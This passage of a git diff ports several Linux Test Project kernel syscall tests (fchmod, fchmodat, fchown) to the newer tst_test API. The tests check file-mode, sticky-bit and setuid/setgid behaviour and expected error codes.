+	.test_all = verify_fchdir,
+};
diff --git a/testcases/kernel/syscalls/fchmod/fchmod03.c b/testcases/kernel/syscalls/fchmod/fchmod03.c
index a5824f3..12a6f5a 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod03.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod03.c
@@ -1,170 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * Test Name: fchmod03
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that, fchmod(2) will succeed to change the mode of a file
- *  and set the sticky bit on it if invoked by non-root (uid != 0)
- *  process with the following constraints,
+ * Verify that, fchmod(2) will succeed to change the mode of a file
+ * and set the sticky bit on it if invoked by non-root (uid != 0)
+ * process with the following constraints,
  *	- the process is the owner of the file.
  *	- the effective group ID or one of the supplementary group ID's of the
  *	  process is equal to the group ID of the file.
- *
- * Expected Result:
- *  fchmod() should return value 0 on success and succeeds to change
- *  the mode of specified file, sets sticky bit on it.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  fchmod03 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'non-super-user' only.
- *
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
 #include <pwd.h>
-
-#include "test.h"
-#include "safe_macros.h"
 #include "fchmod.h"
+#include "tst_test.h"
 
-int fd;				/* file descriptor for test file */
-char *TCID = "fchmod03";
-int TST_TOTAL = 1;
+static int fd;
+static const char nobody_uid[] = "nobody";
+static struct passwd *ltpuser;
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-void setup();			/* Main setup function for the test */
-void cleanup();			/* Main cleanup function for the test */
-
-int main(int ac, char **av)
+static void verify_fchmod(void)
 {
-	struct stat stat_buf;	/* stat struct. */
-	int lc;
-	mode_t file_mode;	/* mode permissions set on testfile */
+	struct stat stat_buf;
+	mode_t file_mode;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TST_EXP_PASS_SILENT(fchmod(fd, PERMS));
 
-	setup();
+	if (fstat(fd, &stat_buf) == -1)
+		tst_brk(TFAIL | TERRNO, "fstat failed");
+	file_mode = stat_buf.st_mode;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(fchmod(fd, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "fchmod failed");
-			continue;
-		}
-		/*
-		 * Get the file information using
-		 * fstat(2).
-		 */
-		if (fstat(fd, &stat_buf) == -1)
-			tst_brkm(TFAIL | TERRNO, cleanup,
-				 "fstat failed");
-		file_mode = stat_buf.st_mode;
-
-		/* Verify STICKY BIT set on testfile */
-		if ((file_mode & PERMS) != PERMS)
-			tst_resm(TFAIL, "%s: Incorrect modes 0%3o, "
-				 "Expected 0777", TESTFILE, file_mode);
-		else
-			tst_resm(TPASS, "Functionality of fchmod(%d, "
-				 "%#o) successful", fd, PERMS);
-	}
-
-	cleanup();
-	tst_exit();
+	if ((file_mode & PERMS) != PERMS)
+		tst_res(TFAIL, "%s: Incorrect modes 0%3o, "
+			"Expected 0777", TESTFILE, file_mode);
+	else
+		tst_res(TPASS, "Functionality of fchmod(%d, "
+			"%#o) successful", fd, PERMS);
 }
 
-void setup(void)
+static void setup(void)
 {
+	ltpuser = SAFE_GETPWNAM(nobody_uid);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	SAFE_SETEUID(ltpuser->pw_uid);
 
-	tst_require_root();
-
-	ltpuser = getpwnam(nobody_uid);
-	if (ltpuser == NULL)
-		tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-	SAFE_SETEUID(NULL, ltpuser->pw_uid);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/*
-	 * Create a test file under temporary directory with specified
-	 * mode permissios and set the ownership of the test file to the
-	 * uid/gid of guest user.
-	 */
-	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
+	fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_resm(TWARN | TERRNO, "close failed");
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.test_all = verify_fchmod,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/fchmod/fchmod04.c b/testcases/kernel/syscalls/fchmod/fchmod04.c
index befaadb..d60cb39 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod04.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod04.c
@@ -1,190 +1,64 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * Test Name: fchmod04
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that, fchmod(2) will succeed to change the mode of a directory
- *  and set the sticky bit on it if invoked by non-root (uid != 0) process
- *  with the following constraints,
+ * Verify that, fchmod(2) will succeed to change the mode of a directory
+ * and set the sticky bit on it if invoked by non-root (uid != 0) process
+ * with the following constraints,
  *	- the process is the owner of the directory.
  *	- the effective group ID or one of the supplementary group ID's of the
  *	  process is equal to the group ID of the directory.
- *
- * Expected Result:
- *  fchmod() should return value 0 on success and succeeds to set sticky bit
- *  on the specified directory.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  fchmod04 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'non-super-user' only.
- *
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
 #include <pwd.h>
-
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
 #include "fchmod.h"
+#include "tst_test.h"
 
-int fd;				/* file descriptor for test directory */
-char *TCID = "fchmod04";
-int TST_TOTAL = 1;
+static int fd;
+static const char nobody_uid[] = "nobody";
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-void setup();
-void cleanup();
-
-int main(int ac, char **av)
+static void verify_fchmod(void)
 {
-	struct stat stat_buf;	/* stat struct. */
-	int lc;
-	mode_t dir_mode;	/* mode permissions set on testdirectory */
+	struct stat stat_buf;
+	mode_t dir_mode;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TST_EXP_PASS_SILENT(fchmod(fd, PERMS));
 
-	setup();
+	if (fstat(fd, &stat_buf) == -1)
+		tst_brk(TFAIL | TERRNO, "fstat failed");
+	dir_mode = stat_buf.st_mode;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call fchmod(2) with mode argument to
-		 * set sticky bit on TESTDIR
-		 */
-		TEST(fchmod(fd, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "fchmod failed");
-			continue;
-		}
-		if (fstat(fd, &stat_buf) == -1)
-			tst_brkm(TFAIL | TERRNO, cleanup,
-				 "fstat failed");
-		dir_mode = stat_buf.st_mode;
-
-		if ((dir_mode & PERMS) == PERMS)
-			tst_resm(TPASS, "Functionality of fchmod(%d, "
-				 "%#o) successful", fd, PERMS);
-		else
-			tst_resm(TFAIL, "%s: Incorrect modes 0%03o, "
-				 "Expected 0%03o",
-				 TESTDIR, dir_mode, PERMS);
-	}
-
-	cleanup();
-	tst_exit();
+	if ((dir_mode & PERMS) == PERMS)
+		tst_res(TPASS, "Functionality of fchmod(%d, "
+			"%#o) successful", fd, PERMS);
+	else
+		tst_res(TFAIL, "%s: Incorrect modes 0%03o, "
+			"Expected 0%03o",
+			TESTDIR, dir_mode, PERMS);
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and cd to it.
- *  Create another test directory under temporary directory.
- *  Open the test directory for reading.
- */
-void setup(void)
+static void setup(void)
 {
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "seteuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("seteuid");
-	}
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/*
-	 * Create a test directory under temporary directory with specified
-	 * mode permissios and open it for reading/writing.
-	 */
-	SAFE_MKDIR(cleanup, TESTDIR, DIR_MODE);
-	if ((fd = open(TESTDIR, O_RDONLY)) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDONLY) failed, errno=%d : %s",
-			 TESTDIR, errno, strerror(errno));
-	}
+	SAFE_GETPWNAM(nobody_uid);
+	SAFE_MKDIR(TESTDIR, DIR_MODE);
+	fd = SAFE_OPEN(TESTDIR, O_RDONLY);
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- *  Close the test directory opened during setup().
- *  Remove the test directory and temporary directory created in setup().
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/* Close the test directory opened during setup() */
-	SAFE_CLOSE(NULL, fd);
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.test_all = verify_fchmod,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/fchmod/fchmod05.c b/testcases/kernel/syscalls/fchmod/fchmod05.c
index f75b9bf..0c731d6 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod05.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod05.c
@@ -20,6 +20,7 @@
 #include <errno.h>
 
 #include "tst_test.h"
+#include "tst_uid.h"
 #include "fchmod.h"
 
 #define PERMS_DIR	043777
@@ -50,10 +51,10 @@
 static void setup(void)
 {
 	struct passwd *ltpuser;
-	struct group *ltpgroup;
+	gid_t free_gid;
 
 	ltpuser = SAFE_GETPWNAM("nobody");
-	ltpgroup = SAFE_GETGRNAM("bin");
+	free_gid = tst_get_free_gid(ltpuser->pw_gid);
 
 	SAFE_MKDIR(TESTDIR, DIR_MODE);
 
@@ -62,7 +63,7 @@
 			tst_strerrno(TST_ERR));
 	}
 
-	SAFE_CHOWN(TESTDIR, ltpuser->pw_uid, ltpgroup->gr_gid);
+	SAFE_CHOWN(TESTDIR, ltpuser->pw_uid, free_gid);
 
 	SAFE_SETEGID(ltpuser->pw_gid);
 	SAFE_SETEUID(ltpuser->pw_uid);
diff --git a/testcases/kernel/syscalls/fchmod/fchmod06.c b/testcases/kernel/syscalls/fchmod/fchmod06.c
index 446865b..4a8aee6 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod06.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod06.c
@@ -50,7 +50,7 @@
 	}
 
 	tst_res(TFAIL | TTERRNO,
-	        "fchmod() failed unexpectedly, expected %i - %s",
+		"fchmod() failed unexpectedly, expected %i - %s",
 		TST_ERR, tst_strerrno(TST_ERR));
 }
 
diff --git a/testcases/kernel/syscalls/fchmodat/fchmodat01.c b/testcases/kernel/syscalls/fchmodat/fchmodat01.c
index 369f80e..925f397 100644
--- a/testcases/kernel/syscalls/fchmodat/fchmodat01.c
+++ b/testcases/kernel/syscalls/fchmodat/fchmodat01.c
@@ -1,116 +1,65 @@
-/******************************************************************************
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines  Corp., 2006
  *
- *   Copyright (c) International Business Machines  Corp., 2006
+ * 08/28/2006 AUTHOR: Yi Yang <yyangcdl@cn.ibm.com>
+ */
+
+/*\
+ * [Description]
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * NAME
- *      fchmodat01.c
- *
- * DESCRIPTION
- *	This test case will verify basic function of fchmodat
- *	added by kernel 2.6.16 or up.
- *
- * Author
- *	Yi Yang <yyangcdl@cn.ibm.com>
- *
- * History
- *      08/28/2006      Created first by Yi Yang <yyangcdl@cn.ibm.com>
- *
- *****************************************************************************/
+ * This test case will verify basic function of fchmodat.
+ */
 
 #define _GNU_SOURCE
 
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
 #include <unistd.h>
-#include <stdlib.h>
-#include <errno.h>
 #include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <stdlib.h>
+#include <stdio.h>
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-#define TEST_CASES 6
 #ifndef AT_FDCWD
 #define AT_FDCWD -100
 #endif
-void setup();
-void cleanup();
 
-char *TCID = "fchmodat01";
-int TST_TOTAL = TEST_CASES;
-char pathname[256];
-char testfile[256];
-char testfile2[256];
-char testfile3[256];
-int fds[TEST_CASES];
-char *filenames[TEST_CASES];
-int expected_errno[TEST_CASES] = { 0, 0, ENOTDIR, EBADF, 0, 0 };
+static char pathname[256];
+static char testfile[256];
+static char testfile2[256];
+static char testfile3[256];
 
-int myfchmodat(int dirfd, const char *filename, mode_t mode)
+static struct tcase {
+	int exp_errno;
+	char *exp_errval;
+} tcases[] = {
+	{ 0, NULL},
+	{ 0, NULL},
+	{ ENOTDIR, "ENOTDIR"},
+	{ EBADF, "EBADF"},
+	{ 0, NULL},
+	{ 0, NULL},
+};
+static int fds[ARRAY_SIZE(tcases)];
+static char *filenames[ARRAY_SIZE(tcases)];
+
+static void verify_fchmodat(unsigned int i)
 {
-	return ltp_syscall(__NR_fchmodat, dirfd, filename, mode);
+	struct tcase *tc = &tcases[i];
+
+	if (tc->exp_errno == 0)
+		TST_EXP_PASS(tst_syscall(__NR_fchmodat, fds[i], filenames[i], 0600),
+			     "fchmodat() returned the expected errno %d: %s",
+			     TST_ERR, strerror(TST_ERR));
+	else
+		TST_EXP_FAIL(tst_syscall(__NR_fchmodat, fds[i], filenames[i], 0600),
+			     tc->exp_errno,
+			     "fchmodat() returned the expected errno %d: %s",
+			     TST_ERR, strerror(TST_ERR));
 }
 
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-	int i;
-
-	/* Disable test if the version of the kernel is less than 2.6.16 */
-	if ((tst_kvercmp(2, 6, 16)) < 0) {
-		tst_resm(TWARN, "This test can only run on kernels that are ");
-		tst_resm(TWARN, "2.6.16 and higher");
-		exit(0);
-	}
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(myfchmodat(fds[i], filenames[i], 0600));
-
-			if (TEST_ERRNO == expected_errno[i]) {
-				tst_resm(TPASS,
-					 "fchmodat() returned the expected  errno %d: %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL,
-					 "fchmodat() Failed, errno=%d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_tmpdir();
-
 	/* Initialize test dir and file names */
 	char *abs_path = tst_get_tmpdir();
 	int p = getpid();
@@ -122,31 +71,36 @@
 
 	free(abs_path);
 
-	SAFE_MKDIR(cleanup, pathname, 0700);
+	SAFE_MKDIR(pathname, 0700);
 
-	fds[0] = SAFE_OPEN(cleanup, pathname, O_DIRECTORY);
+	fds[0] = SAFE_OPEN(pathname, O_DIRECTORY);
 	fds[1] = fds[4] = fds[0];
 
-	SAFE_FILE_PRINTF(cleanup, testfile, "%s", testfile);
-	SAFE_FILE_PRINTF(cleanup, testfile2, "%s", testfile2);
+	SAFE_FILE_PRINTF(testfile, "%s", testfile);
+	SAFE_FILE_PRINTF(testfile2, "%s", testfile2);
 
-	fds[2] = SAFE_OPEN(cleanup, testfile3, O_CREAT | O_RDWR, 0600);
+	fds[2] = SAFE_OPEN(testfile3, O_CREAT | O_RDWR, 0600);
 	fds[3] = 100;
 	fds[5] = AT_FDCWD;
 
 	filenames[0] = filenames[2] = filenames[3] = filenames[4] = testfile;
 	filenames[1] = testfile2;
 	filenames[5] = testfile3;
-
-	TEST_PAUSE;
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
 	if (fds[0] > 0)
 		close(fds[0]);
 	if (fds[2] > 0)
 		close(fds[2]);
-
-	tst_rmdir();
 }
+
+static struct tst_test test = {
+	.min_kver = "2.6.16",
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_fchmodat,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/fchown/fchown01.c b/testcases/kernel/syscalls/fchown/fchown01.c
index 23cc787..4ab5a2f 100644
--- a/testcases/kernel/syscalls/fchown/fchown01.c
+++ b/testcases/kernel/syscalls/fchown/fchown01.c
@@ -1,100 +1,53 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2006-2021
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *    AUTHOR		: William Roske
- *    CO-PILOT		: Dave Fenner
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * Author: William Roske
+ * Ported to LTP: Dave Fenner
  */
-#include <sys/types.h>
-#include <sys/stat.h>
+
+/*\
+ * [Description]
+ *
+ * Basic test for fchown(). Call fchown() on a fd and expect it to pass.
+ */
+
 #include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
 
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-static void setup(void);
-static void cleanup(void);
-
-TCID_DEFINE(fchown01);
-int TST_TOTAL = 1;
+#define FILENAME "fchown01_testfile"
+#define MODE 0700
 
 static int fd;
+static uid_t uid;
+static gid_t gid;
 
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		UID16_CHECK(geteuid(), "fchown", cleanup)
-		GID16_CHECK(getegid(), "fchown", cleanup)
-
-		TEST(FCHOWN(cleanup, fd, geteuid(), getegid()));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "fchown failed");
-		} else {
-			tst_resm(TPASS,
-				 "fchown(fd, geteuid(), getegid()) "
-				 "returned %ld", TEST_RETURN);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_PASS(FCHOWN(fd, uid, gid),
+		"fchown(%i, %i, %i)", fd, uid, gid);
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-	fd = SAFE_OPEN(cleanup, "tempfile", O_RDWR | O_CREAT, 0700);
+	UID16_CHECK(uid = geteuid(), "fchown");
+	GID16_CHECK(gid = getegid(), "fchown");
+	fd = SAFE_OPEN(FILENAME, O_RDWR | O_CREAT, MODE);
 }
 
 static void cleanup(void)
 {
-	if (fd > 0 && close(fd))
-		tst_resm(TWARN | TERRNO, "Failed to close fd");
-
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/fchown/fchown02.c b/testcases/kernel/syscalls/fchown/fchown02.c
index 0fef74d..d02f5bc 100644
--- a/testcases/kernel/syscalls/fchown/fchown02.c
+++ b/testcases/kernel/syscalls/fchown/fchown02.c
@@ -1,158 +1,95 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) International Business Machines  Corp., 2001
- *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) Linux Test Project, 2003-2021
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * Test Description:
- *  Verify that, when fchown(2) invoked by super-user to change the owner and
- *  group of a file specified by file descriptor to any numeric
- *  owner(uid)/group(gid) values,
- *	- clears setuid and setgid bits set on an executable file.
- *	- preserves setgid bit set on a non-group-executable file.
+/*\
+ * [Description]
+ *
+ * Verify that fchown(2) invoked by super-user:
+ *  - clears setuid and setgid bits set on an executable file
+ *  - preserves setgid bit set on a non-group-executable file
  */
 
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
+#include "tst_safe_macros.h"
 
-#define FILE_MODE	S_IFREG | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
-#define NEW_PERMS1	S_IFREG | S_IRWXU | S_IRWXG | S_ISUID | S_ISGID
-#define NEW_PERMS2	S_IFREG | S_IRWXU | S_ISGID
-#define EXP_PERMS	S_IFREG | S_IRWXU | S_IRWXG
+#define FILE_MODE	(S_IFREG|S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
+#define NEW_PERMS1	(S_IFREG|S_IRWXU|S_IRWXG|S_ISUID|S_ISGID)
+#define NEW_PERMS2	(S_IFREG|S_IRWXU|S_ISGID)
+#define EXP_PERMS	(S_IFREG|S_IRWXU|S_IRWXG)
 #define TESTFILE1	"testfile1"
 #define TESTFILE2	"testfile2"
 
-TCID_DEFINE(fchown02);
-int TST_TOTAL = 2;
-static int fd1;
-static int fd2;
+static int fd1, fd2;
 
-struct test_case {
+struct test_case_t {
 	int *fd;
-	char *pathname;
-	char *desc;
-	uid_t user_id;
-	gid_t group_id;
-	int test_flag;
+	const char *filename;
+	mode_t set_mode;
+	mode_t exp_mode;
 } tc[] = {
-	{&fd1, TESTFILE1, "Setuid/Setgid bits cleared", 700, 701, 1},
-	{&fd2, TESTFILE2, "Setgid bit not cleared", 700, 701, 2},
-	{0, NULL, NULL, 0, 0, 0}
+	{&fd1, TESTFILE1, NEW_PERMS1, EXP_PERMS},
+	{&fd2, TESTFILE2, NEW_PERMS2, NEW_PERMS2}
 };
 
-static void setup(void);
-static void cleanup(void);
-
-static void verify_fchown(struct test_case *t)
+static void run(unsigned int i)
 {
 	struct stat stat_buf;
+	uid_t uid;
+	gid_t gid;
 
-	TEST(FCHOWN(cleanup, *t->fd, t->user_id, t->group_id));
+	UID16_CHECK((uid = geteuid()), "fchown");
+	GID16_CHECK((gid = getegid()), "fchown");
 
-	if (TEST_RETURN == -1) {
-		tst_resm(TFAIL | TTERRNO, "fchown() Fails on %s", t->pathname);
-		return;
-	}
+	SAFE_CHMOD(tc[i].filename, tc[i].set_mode);
 
-	SAFE_FSTAT(cleanup, *t->fd, &stat_buf);
+	TST_EXP_PASS(FCHOWN(*tc[i].fd, uid, gid),
+		"fchown(%i, %i, %i)", *tc[i].fd, uid, gid);
 
-	if ((stat_buf.st_uid != t->user_id) ||
-	    (stat_buf.st_gid != t->group_id)) {
-		tst_resm(TFAIL,
-		         "%s: Incorrect ownership expected %d %d, have %d %d",
-		         t->pathname, t->user_id, t->group_id,
-		         stat_buf.st_uid, stat_buf.st_gid);
-	}
+	SAFE_STAT(tc[i].filename, &stat_buf);
 
-	switch (t->test_flag) {
-	case 1:
-		if (((stat_buf.st_mode & (S_ISUID | S_ISGID)))) {
-			tst_resm(TFAIL, "%s: Incorrect mode "
-					"permissions %#o, Expected "
-					"%#o", t->pathname, NEW_PERMS1,
-					 EXP_PERMS);
-			return;
-		}
-	break;
-	case 2:
-		if ((!(stat_buf.st_mode & S_ISGID))) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect mode "
-				 "permissions %#o, Expected "
-				 "%#o", t->pathname,
-				 stat_buf.st_mode, NEW_PERMS2);
-			return;
-		}
-	break;
-	}
+	if (stat_buf.st_uid != uid || stat_buf.st_gid != gid)
+		tst_res(TFAIL, "%s: owner set to (uid=%d, gid=%d), expected (uid=%d, gid=%d)",
+			tc[i].filename, stat_buf.st_uid, stat_buf.st_gid, uid, gid);
 
-	tst_resm(TPASS, "fchown() on %s succeeds : %s", t->pathname, t->desc);
-}
-
-int main(int ac, char **av)
-{
-	int lc, i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
